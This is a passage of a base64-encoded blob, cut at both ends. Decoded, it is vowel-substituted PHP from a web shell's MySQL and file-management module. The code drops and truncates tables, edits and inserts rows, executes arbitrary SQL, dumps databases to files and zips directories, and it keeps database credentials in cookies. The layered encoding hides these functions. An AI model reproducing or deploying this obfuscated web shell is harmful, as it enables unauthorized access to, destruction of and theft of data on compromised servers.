gkJCQkJfQoJCQkJCTVsczU0ZigkMWN0ID09ICJkNWw1dDV0MWJsNSIpewoJCQkJCQk0ZighNHNzNXQoJF9QT1NUWydjMm5mNHJtJ10pKXsKCQkJCQkJCTVjaDIgIjxmMnJtIDFjdDQybj1cIiIuJHNoNWxsLiJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cImMybmY0cm1cIj4KCQkJCQkJCTw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwiYzJubjVjdFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj4KCQkJCQkJCTw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdF9teXNxbFwiIHYxbDM1PVwiZDVsNXQ1dDFibDVcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJ0MWJsNVwiIHYxbDM1PVwiIjsKCQkJCQkJCTRmKCRzdHI0cF8xbGwpIDVjaDIgc3RyNHBzbDFzaDVzKCRfUE9TVFsndDFibDUnXSk7CgkJCQkJCQk1bHM1IDVjaDIgJF9QT1NUWyd0MWJsNSddOwoJCQkJCQkJNWNoMiAiXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiB2MWwzNT1cIjZcIiBuMW01PVwiYzJuZjRybVwiPjwvZjJybT4KCQkJCQkJCTxzY3I0cHQgbDFuZzMxZzU9XCJqMXYxc2NyNHB0XCI+CgkJCQkJCQl2MXIgMW5zdzVyID0gYzJuZjRybSAoXCJBcjUgeTIzIHMzcjUgdDIgZDVsNXQ1IHQxYmw1ICIuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3QxYmw1J10pLiI/XCIpCgkJCQkJCQk0ZigxbnN3NXIpIGQyYzNtNW50LmMybmY0cm0uczNibTR0KCk8L3NjcjRwdD4iOwoJCQkJCQl9CgkJCQkJCTVsczV7CgkJCQkJCQk1Y2gyICI8YzVudDVyPiI7CgkJCQkJCQk0Zigkc3RyNHBfMWxsKSAkcTM1cnkgPSBzdHI0cHNsMXNoNXMoJF9QT1NUWyd0MWJsNSddKTsKCQkJCQkJCTVsczUgJHEzNXJ5ID0gJF9QT1NUWyd0MWJsNSddOwoJCQkJCQkJNGYobXlzcWxfcTM1cnkoIkRST1AgVEFCTEUgYCIuJHEzNXJ5LiJgIikpIDVjaDIgIjxmMm50IGMybDJyPVwiZ3I1NW5cIj5UMWJsNSAiLiRxMzVyeS4iIGQ1bDV0NWQgczNjYzVzc2YzbGwhPC9mMm50PiI7CgkJCQkJCQk1bHM1IDVjaDIgIjxmMm50IGMybDJyPVwicjVkXCI+RXJyMnIhQzFubjJ0IGQ1bDV0NSB0MWJsNSAiLiRxMzVyeS4iITwvZjJudD4iOwoJCQkJCQkJNWNoMiAiPC9jNW50NXI+IjsKCQkJCQkJfQoJCQkJCX0KCQkJCQk1bHM1NGYoJDFjdCA9PSAidHIzbmMxdDUiKXsKCQkJCQkJNGYoITRzczV0KCRfUE9TVFsnYzJuZjRybSddKSl7CgkJCQkJCQk1Y2gyICI8ZjJybSAxY3Q0Mm49XCIiLiRzaDVsbC4iXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCJjMm5mNHJtXCI+CgkJCQkJCQk8NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3Q0Mm5cIiB2MWwzNT1cImMybm41Y3RcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+CgkJCQkJCQk8NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3RfbXlzcWxcIiB2MWwzNT1cInRyM25jMXQ1XCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwidDFibDVcIiB2MWwzNT1cIiI7CgkJCQkJCQk0Zigkc3RyNHBfMWxsKSA1Y2gyIHN0cjRwc2wxc2g1cygkX1BPU1RbJ3QxYmw1J10pOwoJCQkJCQkJNWxzNSA1Y2gyICRfUE9TVFsndDFibDUnXTsKCQkJCQkJCTVjaDIgIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgdjFsMzU9XCI2XCIgbjFtNT1cImMybmY0cm1cIj48L2Yycm0+CgkJCQkJCQk8c2NyNHB0IGwxbmczMWc1PVwiajF2MXNjcjRwdFwiPgoJCQkJCQkJdjFyIDFuc3c1ciA9IGMybmY0cm0gKFwiQXI1IHkyMyBzM3I1IHQyIHRyM25jMXQ1IHQxYmw1ICIuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3QxYmw1J10pLiI/XCIpCgkJCQkJCQk0ZigxbnN3NXIpIGQyYzNtNW50LmMybmY0cm0uczNibTR0KCk8L3NjcjRwdD4iOwoJCQkJCQl9CgkJCQkJCTVsczV7CgkJCQkJCQk1Y2gyICI8YzVudDVyPiI7CgkJCQkJCQk0Zigkc3RyNHBfMWxsKSAkcTM1cnkgPSBzdHI0cHNsMXNoNXMoJF9QT1NUWyd0MWJsNSddKTsKCQkJCQkJCTVsczUgJHEzNXJ5ID0gJF9QT1NUWyd0MWJsNSddOwoJCQkJCQkJNGYobXlzcWxfcTM1cnkoIlRSVU5DQVRFIFRBQkxFIGAiLiRxMzVyeS4iYCIpKSA1Y2gyICI8ZjJudCBjMmwycj1cImdyNTVuXCI+VDFibDUgIi4kcTM1cnkuIiB0cjNuYzF0NWQgczNjYzVzc2YzbGwhPC9mMm50PiI7CgkJCQkJCQk1bHM1IDVjaDIgIjxmMm50IGMybDJyPVwicjVkXCI+RXJyMnIhQzFubjJ0IHRyM25jMXQ1IHQxYmw1ICIuJHEzNXJ5LiIhPC9mMm50PiI7CgkJCQkJCQk1Y2gyICI8L2M1bnQ1cj4iOwoJCQkJCQl9CgkJCQkJfQoJCQkJCTVsczU0ZigkMWN0ID09ICI1ZDR0Iil7CgkJCQkJCTRmKCE0c3M1dCgkX1BPU1RbJzVkNHRfYzFtcCddKSl7CgkJCQkJCQk0Zigkc3RyNHBfMWxsKSAkc3AxYzUgPSBteXNxbF9xMzVyeShzdHI0cHNsMXNoNXMoJF9QT1NUWydxMzVyeSddKSk7CgkJCQkJCQk1bHM1ICRzcDFjNSA9IG15c3FsX3EzNXJ5KCRfUE9TVFsncTM1cnknXSk7CgkJCQkJCQkkcjJ3ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHNwMWM1LCBNWVNRTF9BU1NPQyk7CgkJCQkJCQk1Y2gyICI8ZjJybSAxY3Q0Mm49XCIiLiRzaDVsbC4iXCIgbTV0aDJkPVwiUE9TVFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwiYzJubjVjdFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj4KCQkJCQkJCTw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdF9teXNxbFwiIHYxbDM1PVwiNWQ0dFwiPgoJCQkJCQkJPHQxYmw1IGIycmQ1cj1cIjBcIiBjNWxscDFkZDRuZz1cIjBcIiBjNWxsc3AxYzRuZz1cIjBcIj48dHI+IjsKCQkJCQkJCWYycigkY3IgPSAwOyAkY3IgPCAgbXlzcWxfbjNtX2Y0NWxkcygkc3AxYzUpOyAkY3IrKyl7CgkJCQkJCQkJJG4xbTUgPSBteXNxbF9mNDVsZF9uMW01KCRzcDFjNSwkY3IpOwoJCQkJCQkJCTVjaDIgIjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPiIuJG4xbTUuIjwvdGQ+IjsKCQkJCQkJCX0KCQkJCQkJCTVjaDIgIjwvdGQ+PC90cj48dHI+IjsKCQkJCQkJCSRybCA9IDA7CgkJCQkJCQkkbiA9IDFycjF5KCk7CgkJCQkJCQkkciA9IDFycjF5KCk7CgkJCQkJCQlmMnI1MWNoICgkcjJ3IDFzICRrPT4kdikgewoJCQkJCQkJCSRuWyRybF0gPSAkazsKCQkJCQkJCQkkclskcmxdID0gJHY7CgkJCQkJCQkJJHJsKys7CgkJCQkJCQl9CgkJCQkJCQlmMnIoJDEgPSAwOyAkMSA8IGMyM250KCRuKTsgJDErKykgNWNoMiAiPHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PDRucDN0IHR5cDU9XCJ0NXh0XCIgbjFtNT1cIiIuJG5bJDFdLiJcIiB2MWwzNT1cIiIuJHJbJDFdLiJcIj48L3RkPiI7CgkJCQkJCQk1Y2gyICI8L3RyPjwvdDFibDU+PGJyPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cInEzNXJ5XCIgdjFsMzU9XCIiOwoJCQkJCQkJNGYoJHN0cjRwXzFsbCkgNWNoMiBzdHI0cHNsMXNoNXMoJF9QT1NUWydxMzVyeSddKTsKCQkJCQkJCTVsczUgNWNoMiAkX1BPU1RbJ3EzNXJ5J107CgkJCQkJCQk1Y2gyICJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJ0MWJsNVwiIHYxbDM1PVwiIjsKCQkJCQkJCTRmKCRzdHI0cF8xbGwpIDVjaDIgc3RyNHBzbDFzaDVzKCRfUE9TVFsndDFibDUnXSk7CgkJCQkJCQk1bHM1IDVjaDIgJF9QT1NUWyd0MWJsNSddOwoJCQkJCQkJNWNoMiAiXCI+PDRucDN0IHR5cDU9XCJzM2JtNHRcIiB2MWwzNT1cIkVkNHRcIiBuMW01PVwiNWQ0dF9jMW1wXCI+PC9mMnJtPiI7CgkJCQkJCX0KCQkJCQkJNWxzNXsKCQkJCQkJCSR0MWJsNSA9ICRfUE9TVFsndDFibDUnXTsKCQkJCQkJCTRmKCRzdHI0cF8xbGwpICRxMzVyeSA9IG15c3FsX3EzNXJ5KHN0cjRwc2wxc2g1cygkX1BPU1RbJ3EzNXJ5J10pKTsKCQkJCQkJCTVsczUgJHEzNXJ5ID0gbXlzcWxfcTM1cnkoJF9QT1NUWydxMzVyeSddKTsKCQkJCQkJCTRmKCRzdHI0cF8xbGwpICQ1eHAgPSA1eHBsMmQ1KCJXSEVSRSAiLHN0cjRwc2wxc2g1cygkX1BPU1RbJ3EzNXJ5J10pKTsKCQkJCQkJCTVsczUgJDV4cCA9IDV4cGwyZDUoIldIRVJFICIsJF9QT1NUWydxMzVyeSddKTsKCQkJCQkJCSRyMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkcTM1cnksIE1ZU1FMX0FTU09DKTsKCQkJCQkJCTRmKCRzdHI0cF8xbGwpICQzcGQxdDUgLj0gIlVQREFURSAiLnN0cjRwc2wxc2g1cygkdDFibDUpLiIgU0VUICI7CgkJCQkJCQk1bHM1ICQzcGQxdDUgLj0gIlVQREFURSAiLiR0MWJsNS4iIFNFVCAiOwoJCQkJCQkJJGNyID0gMDsKCQkJCQkJCWYycjUxY2ggKCRyMncgMXMgJGs9PiR2KSB7CgkJCQkJCQkJNGYoJHN0cjRwXzFsbCkgJDNwZDF0NSAuPSAiYCIuc3RyNHBzbDFzaDVzKCRrKS4iYCA9ICciLnN0cjRwc2wxc2g1cygkX1BPU1RbJGtdKS4iJyI7CgkJCQkJCQkJNWxzNSAkM3BkMXQ1IC49ICJgIi4kay4iYCA9ICciLiRfUE9TVFska10uIiciOwoJCQkJCQkJCTRmKCRjcis2IDwgbXlzcWxfbjNtX2Y0NWxkcygkcTM1cnkpKSAkM3BkMXQ1IC49ICIgLCAiOwoJCQkJCQkJCSRjcisrOwoJCQkJCQkJfQoJCQkJCQkJNGYoJHN0cjRwXzFsbCkgJDNwZDF0NSAuPSAiIFdIRVJFICIuc3RyNHBzbDFzaDVzKCQ1eHBbNl0pOwoJCQkJCQkJNWxzNSAkM3BkMXQ1IC49ICIgV0hFUkUgIi4kNXhwWzZdOwoJCQkJCQkJNGYobXlzcWxfcTM1cnkoJDNwZDF0NSkpIDVjaDIgIjxmMm50IGMybDJyPVwiZ3I1NW5cIj5FZDR0NWQgczNjYzVzZjNsbCE8L2YybnQ+IjsKCQkJCQkJCTVsczUgNWNoMiAiPGYybnQgYzJsMnI9XCJyNWRcIj5FcnIyciFDMW5uMnQgNWQ0dCB0aDRzIHYxbDM1ITwvZjJudD4iOwoJCQkJCQkJNWNoMiAiPC9jNW50NXI+IjsKCQkJCQkJfQoJCQkJCQk1Y2gyICI8L3RkPjwvdHI+PC90MWJsNT4iOwoJCQkJCX0KCQkJCQk1bHM1NGYoJDFjdCA9PSAiNG5zNXJ0Iil7CgkJCQkJCTRmKCE0c3M1dCgkX1BPU1RbJ215XzRuc3InXSkpewoJCQkJCQkJNGYoJHN0cjRwXzFsbCkgJHM1bDVjdCA9IG15c3FsX3EzNXJ5KCJTRUxFQ1QgKiBGUk9NIGAiLnN0cjRwc2wxc2g1cygkX1BPU1RbJ3QxYmw1J10pLiJgIik7CgkJCQkJCQk1bHM1ICRzNWw1Y3QgPSBteXNxbF9xMzVyeSgiU0VMRUNUICogRlJPTSBgIi4kX1BPU1RbJ3QxYmw1J10uImAiKTsKCQkJCQkJCSRuID0gMXJyMXkoKTsKCQkJCQkJCWYycigkMSA9IDA7ICQxIDwgbXlzcWxfbjNtX2Y0NWxkcygkczVsNWN0KTsgJDErKykgJG5bJDFdID0gbXlzcWxfZjQ1bGRfbjFtNSgkczVsNWN0LCQxKTsKCQkJCQkJCTVjaDIgIjxmMnJtIDFjdDQybj1cIiIuJHNoNWxsLiJcIiBtNXRoMmQ9XCJQT1NUXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0NDJuXCIgdjFsMzU9XCJjMm5uNWN0XCI+CgkJCQkJCQk8NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3RfbXlzcWxcIiB2MWwzNT1cIjRuczVydFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJ0MWJsNVwiIHYxbDM1PVwiIi5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsndDFibDUnXSkuIlwiPgoJCQkJCQkJPHQxYmw1IGIycmQ1cj1cIjBcIiBjNWxscDFkZDRuZz1cIjBcIiBjNWxsc3AxYzRuZz1cIjBcIj48dHI+IjsKCQkJCQkJCWYycigkMSA9IDA7ICQxIDwgYzIzbnQoJG4pOyAkMSsrKSA1Y2gyICI8dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj4iLiRuWyQxXS4iPC90ZD4iOwoJCQkJCQkJNWNoMiAiPC90cj48dHI+IjsKCQkJCQkJCWYycigkMSA9IDA7ICQxIDwgYzIzbnQoJG4pOyAkMSsrKSA1Y2gyICI8dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48NG5wM3QgdHlwNT1cInQ1eHRcIiBuMW01PVwiIi4kblskMV0uIlwiPjwvdGQ+IjsKCQkJCQkJCTVjaDIgIjwvdHI+PC90MWJsNT48YnI+IjsKCQkJCQkJCTVjaDIgIjw0bnAzdCB0eXA1PVwiczNibTR0XCIgdjFsMzU9XCJJbnM1cnRcIiBuMW01PVwibXlfNG5zclwiPjwvZjJybT4iOwoJCQkJCQl9CgkJCQkJCTVsczV7CgkJCQkJCQk0Zigkc3RyNHBfMWxsKSAkczVsNWN0ID0gbXlzcWxfcTM1cnkoIlNFTEVDVCAqIEZST00gYCIuc3RyNHBzbDFzaDVzKCRfUE9TVFsndDFibDUnXSkuImAiKTsKCQkJCQkJCTVsczUgJHM1bDVjdCA9IG15c3FsX3EzNXJ5KCJTRUxFQ1QgKiBGUk9NIGAiLiRfUE9TVFsndDFibDUnXS4iYCIpOwoJCQkJCQkJJG4gPSAxcnIxeSgpOwoJCQkJCQkJZjJyKCQxID0gMDsgJDEgPCBteXNxbF9uM21fZjQ1bGRzKCRzNWw1Y3QpOyAkMSsrKSAkblskMV0gPSBteXNxbF9mNDVsZF9uMW01KCRzNWw1Y3QsJDEpOwoJCQkJCQkJJHEzNXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRfUE9TVFsndDFibDUnXS4iYChgIjsKCQkJCQkJCWYycigkMSA9IDA7ICQxIDwgYzIzbnQoJG4pOyAkMSsrKXsKCQkJCQkJCQkkcTM1cnkgLj0gJG5bJDFdLiJgIjsKCQkJCQkJCQk0ZigkMSA8IGMyM250KCRuKSAtNikgJHEzNXJ5IC49ICIsYCI7CgkJCQkJCQl9CgkJCQkJCQkkcTM1cnkgLj0gIikgVkFMVUVTKCciOwoJCQkJCQkJZjJyKCQxID0gMDsgJDEgPCBjMjNudCgkbik7ICQxKyspewoJCQkJCQkJCSRxMzVyeSAuPSAxZGRzbDFzaDVzKCRfUE9TVFskblskMV1dKS4iJyI7CgkJCQkJCQkJNGYoJDEgPCBjMjNudCgkbikgLTYpICRxMzVyeSAuPSAiLCciOwoJCQkJCQkJfQoJCQkJCQkJJHEzNXJ5IC49ICIpIjsKCQkJCQkJCTRmKG15c3FsX3EzNXJ5KCRxMzVyeSkpIDVjaDIgIjxmMm50IGMybDJyPVwiZ3I1NW5cIj5JbnM1cnQ1ZCBzM2NjNXNmM2xsITwvZjJudD4iOwoJCQkJCQkJNWxzNSA1Y2gyICI8ZjJudCBjMmwycj1cInI1ZFwiPkVycjJyITwvZjJudD4iOwoJCQkJCQl9CgkJCQkJCTVjaDIgIjwvdGQ+PC90cj48L3QxYmw1PiI7CgkJCQkJfQoJCQkJCTVsczUgNWNoMiAiPC90ZD48L3RyPjwvdDFibDU+IjsKCQkJCQlteXNxbF9jbDJzNSgpOwoJCQkJfQoJCQkJNWxzNXsKCQkJCQlteXNxbF9jbDJzNSgpOwoJCQkJCTVjaDIgIjxmMm50IGMybDJyPVwicjVkXCI+QW4gNXJyMnIgMmNjM3J0NWQhIEMyM2xkIG4ydCBzNWw1Y3QgdGg1IGQxdDFiMXM1IGMxbGw1ZCAiLmh0bWxzcDVjNDFsY2gxcnMoJF9DT09LSUVbJ2RiJ10pLiIhPC9mMm50PiI7CgkJCQkJczV0YzIyazQ1KCIzczVybjFtNSIsIiIsdDRtNSgpIC0gb2UwMCk7CgkJCQkJczV0YzIyazQ1KCJwMXNzdzJyZCIsIiIsdDRtNSgpIC0gb2UwMCk7CgkJCQkJczV0YzIyazQ1KCJoMnN0IiwiIix0NG01KCkgLSBvZTAwKTsKCQkJCQlzNXRjMjJrNDUoImRiIiwiIix0NG01KCkgLSBvZTAwKTsKCQkJCQk1Y2gyICc8L3RyPjwvdGQ+PC90MWJsNT4nOwoJCQkJfQoJCQl9CQoJCQk1bHM1ewoJCQkJbXlzcWxfY2wyczUoKTsKCQkJCTVjaDIgIjxmMm50IGMybDJyPVwicjVkXCI+QW4gNXJyMnIgMmNjM3J0NWQhIEMyM2xkIG4ydCBsMmc0biAiLmh0bWxzcDVjNDFsY2gxcnMoJF9DT09LSUVbJzNzNXJuMW01J10pLiIgQCAiLmh0bWxzcDVjNDFsY2gxcnMoJF9DT09LSUVbJ2gyc3QnXSkuIiE8L2YybnQ+IjsKCQkJCXM1dGMyMms0NSgiM3M1cm4xbTUiLCIiLHQ0bTUoKSAtIG9lMDApOwoJCQkJczV0YzIyazQ1KCJwMXNzdzJyZCIsIiIsdDRtNSgpIC0gb2UwMCk7CgkJCQlzNXRjMjJrNDUoImgyc3QiLCIiLHQ0bTUoKSAtIG9lMDApOwoJCQkJczV0YzIyazQ1KCJkYiIsIiIsdDRtNSgpIC0gb2UwMCk7CgkJCQk1Y2gyICc8L3RyPjwvdGQ+PC90MWJsNT4nOwoJCQl9CgkJfQoJCTVsczV7CgkJCTVjaDIgIjxjNW50NXI+PGJyPiI7CgkJCTRmKCQxY3QgPT0gImQzbXAiKXsKCQkJCTRmKCRfUE9TVFsnZDNtcF90MWJsNSddICE9ICIiKXsgCgkJCQkJNGYoITRzczV0KCRfUE9TVFsnZDNtcCddKSl7CgkJCQkJCTVjaDIgIjxmMnJtIDFjdDQybj1cIlwiIG01dGgyZD1cInAyc3RcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3RfbXlzcWxcIiB2MWwzNT1cImQzbXBcIj5EM21wIGY0bDUgbjFtNShsNTF2NSBibDFuayBmMnIgZDVmMTNsdCEpOjxicj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDNtcF90MWJsNVwiIHYxbDM1PVwiIjsKCQkJCQkJNGYoJHN0cjRwXzFsbCkgNWNoMiBodG1sc3A1YzQxbGNoMXJzKHN0cjRwc2wxc2g1cygkX1BPU1RbJ2QzbXBfdDFibDUnXSkpOwoJCQkJCQk1bHM1IDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2QzbXBfdDFibDUnXSk7CgkJCQkJCTVjaDIgIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwiYzJubjVjdFwiPjw0bnAzdCB0eXA1PVwidDV4dFwiIG4xbTU9XCJkM21wX2Y0bDVcIj48YnI+PGJyPjw0bnAzdCB0eXA1PVwiczNibTR0XCIgdjFsMzU9XCJEM21wXCIgbjFtNT1cImQzbXBcIj48L2Yycm0+IjsKCQkJCQl9CgkJCQkJNWxzNSBkM21wX2RiX3QxYmw1KCRfQ09PS0lFWydoMnN0J10sJF9DT09LSUVbJzNzNXJuMW01J10sJF9DT09LSUVbJ3Axc3N3MnJkJ10sJF9DT09LSUVbJ2RiJ10sJF9QT1NUWydkM21wX3QxYmw1J10sJF9QT1NUWydkM21wX2Y0bDUnXS4iLnNxbCIpOwoJCQkJfQoJCQkJNWxzNXsKCQkJCQk0ZighNHNzNXQoJF9QT1NUWydkM21wJ10pKSA1Y2gyICI8ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJwMnN0XCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0X215c3FsXCIgdjFsMzU9XCJkM21wXCI+RDNtcCBmNGw1IG4xbTUobDUxdjUgYmwxbmsgZjJyIGQ1ZjEzbHQhKTo8YnI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjw0bnAzdCB0eXA1PVwidDV4dFwiIG4xbTU9XCJkM21wX2Y0bDVcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3Q0Mm5cIiB2MWwzNT1cImMybm41Y3RcIj48YnI+PGJyPjw0bnAzdCB0eXA1PVwiczNibTR0XCIgdjFsMzU9XCJEM21wXCIgbjFtNT1cImQzbXBcIj48L2Yycm0+IjsKCQkJCQk1bHM1IGQzbXBfZGIoJF9DT09LSUVbJ2gyc3QnXSwkX0NPT0tJRVsnM3M1cm4xbTUnXSwkX0NPT0tJRVsncDFzc3cycmQnXSwkX0NPT0tJRVsnZGInXSwkX1BPU1RbJ2QzbXBfZjRsNSddLiIuc3FsIik7CgkJCQl9CgkJCX0KCQkJNWxzNXsKCQkJCTRmKCE0c3M1dCgkX1BPU1RbJ2QycTM1cnknXSkpIDVjaDIgIjxmMnJtIDFjdDQybj1cIlwiIG01dGgyZD1cIlBPU1RcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0NDJuXCIgdjFsMzU9XCJjMm5uNWN0XCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0X215c3FsXCIgdjFsMzU9XCJtMWs1cTM1cnlcIj5TUUwgYzJkNTo8YnI+PGJyPjx0NXh0MXI1MSByMndzPVwiNjBcIiBjMmxzPVwiNzdcIiBuMW01PVwiNXYxbFwiPjwvdDV4dDFyNTE+PGJyPjxicj48NG5wM3QgdHlwNT1cInMzYm00dFwiIHYxbDM1PVwiRXg1YzN0NSBxMzVyeVwiIG4xbTU9XCJkMnEzNXJ5XCI+PC9mMnJtPiI7CgkJCQk1bHM1ewoJCQkJCTRmKG15c3FsX2Mybm41Y3QoJF9DT09LSUVbJ2gyc3QnXSwkX0NPT0tJRVsnM3M1cm4xbTUnXSwkX0NPT0tJRVsncDFzc3cycmQnXSkpewoJCQkJCQk0ZihteXNxbF9zNWw1Y3RfZGIoJF9DT09LSUVbJ2RiJ10pKXsKCQkJCQkJCTRmKCRzdHI0cF8xbGwpICRxMzVyeSA9IHN0cjRwc2wxc2g1cygkX1BPU1RbJzV2MWwnXSk7CgkJCQkJCQk1bHM1ICRxMzVyeSA9ICRfUE9TVFsnNXYxbCddOwoJCQkJCQkJNGYobXlzcWxfcTM1cnkoJHEzNXJ5KSkgNWNoMiAnPGYybnQgYzJsMnI9ImdyNTVuIj5RMzVyeSA1eDVjM3Q1ZCE8L2YybnQ+JzsKCQkJCQkJCTVsczUgNWNoMiAnPGYybnQgYzJsMnI9InI1ZCI+Jy5teXNxbF81cnIycigpLic8L2YybnQ+JzsKCQkJCQkJCW15c3FsX2NsMnM1KCk7CgkJCQkJCX0KCQkJCQkJNWxzNXsKCQkJCQkJCW15c3FsX2NsMnM1KCk7CgkJCQkJCQk1Y2gyICI8ZjJudCBjMmwycj1cInI1ZFwiPkFuIDVycjJyIDJjYzNydDVkISBDMjNsZCBuMnQgczVsNWN0IHRoNSBkMXQxYjFzNSBjMWxsNWQgIi5odG1sc3A1YzQxbGNoMXJzKCRfQ09PS0lFWydkYiddKS4iITwvZjJudD4iOwoJCQkJCQkJczV0YzIyazQ1KCIzczVybjFtNSIsIiIsdDRtNSgpIC0gb2UwMCk7CgkJCQkJCQlzNXRjMjJrNDUoInAxc3N3MnJkIiwiIix0NG01KCkgLSBvZTAwKTsKCQkJCQkJCXM1dGMyMms0NSgiaDJzdCIsIiIsdDRtNSgpIC0gb2UwMCk7CgkJCQkJCQlzNXRjMjJrNDUoImRiIiwiIix0NG01KCkgLSBvZTAwKTsKCQkJCQkJfQoJCQkJCX0KCQkJCQk1bHM1ewoJCQkJCQlteXNxbF9jbDJzNSgpOwoJCQkJCQk1Y2gyICI8ZjJudCBjMmwycj1cInI1ZFwiPkFuIDVycjJyIDJjYzNydDVkISBDMjNsZCBuMnQgczVsNWN0IHRoNSBkMXQxYjFzNSBjMWxsNWQgIi5odG1sc3A1YzQxbGNoMXJzKCRfQ09PS0lFWydkYiddKS4iITwvZjJudD4iOwoJCQkJCQlzNXRjMjJrNDUoIjNzNXJuMW01IiwiIix0NG01KCkgLSBvZTAwKTsKCQkJCQkJczV0YzIyazQ1KCJwMXNzdzJyZCIsIiIsdDRtNSgpIC0gb2UwMCk7CgkJCQkJCXM1dGMyMms0NSgiaDJzdCIsIiIsdDRtNSgpIC0gb2UwMCk7CgkJCQkJCXM1dGMyMms0NSgiZGIiLCIiLHQ0bTUoKSAtIG9lMDApOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQk1Y2gyICc8L2M1bnQ1cj48YnI+Jm5ic3A7PC90ZD48L3RyPjwvdDFibDU+JzsKCQl9Cgl9Cn0KLy8gVDIgY3I1MXQ1IDFuIDFyY2g0djUKNWxzNTRmKCQxY3Q0Mm4gPT0gIno0cCIpewoJNGYoNHNzNXQoJF9QT1NUWyd6NHBfZDRyJ10pKXsKCQk0ZighNHNzNXQoJF9QT1NUWyd6NHAnXSkpIDVjaDIgIjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YnI+PGM1bnQ1cj48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiejRwX2Q0clwiIHYxbDM1PVwiIi5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnejRwX2Q0ciddKS4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwiejRwXCI+QXJjaDR2NSBuMW01Ojxicj48NG5wM3QgdHlwNT1cInQ1eHRcIiBuMW01PVwiMXJjaDR2NW4xbTVcIj48YnI+PGJyPjw0bnAzdCB0eXA1PVwiczNibTR0XCIgdjFsMzU9XCJDcjUxdDVcIiBuMW01PVwiejRwXCI+PC9mMnJtPjwvYzVudDVyPjwvdGQ+PC90cj4iOwoJCTVsczV7CgkJCTVjaDIgIjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YnI+PGM1bnQ1cj4iOwoJCQk0ZihjcjUxdDVfejRwKCRfUE9TVFsnMXJjaDR2NW4xbTUnXS4iLno0cCIsJF9QT1NUWyd6NHBfZDRyJ10pKSA1Y2gyICI8ZjJudCBjMmwycj1cImdyNTVuXCI+WjRwIDFyY2g0djUgJyIuJG4xbTVfejRwLiInIGNyNTF0NWQgczNjYzVzc2YzbGwhPC9mMm50PiI7CgkJCTVsczV7CgkJCQk1Y2gyICI8ZjJudCBjMmwycj1cImdyNTVuXCI+WjRwIDFyY2g0djUgJyIuJG4xbTVfejRwLiInIGNyNTF0NWQgdzR0aCBzMm01IDVycjJycyE8L2YybnQ+PGJyPiI7IAoJCQk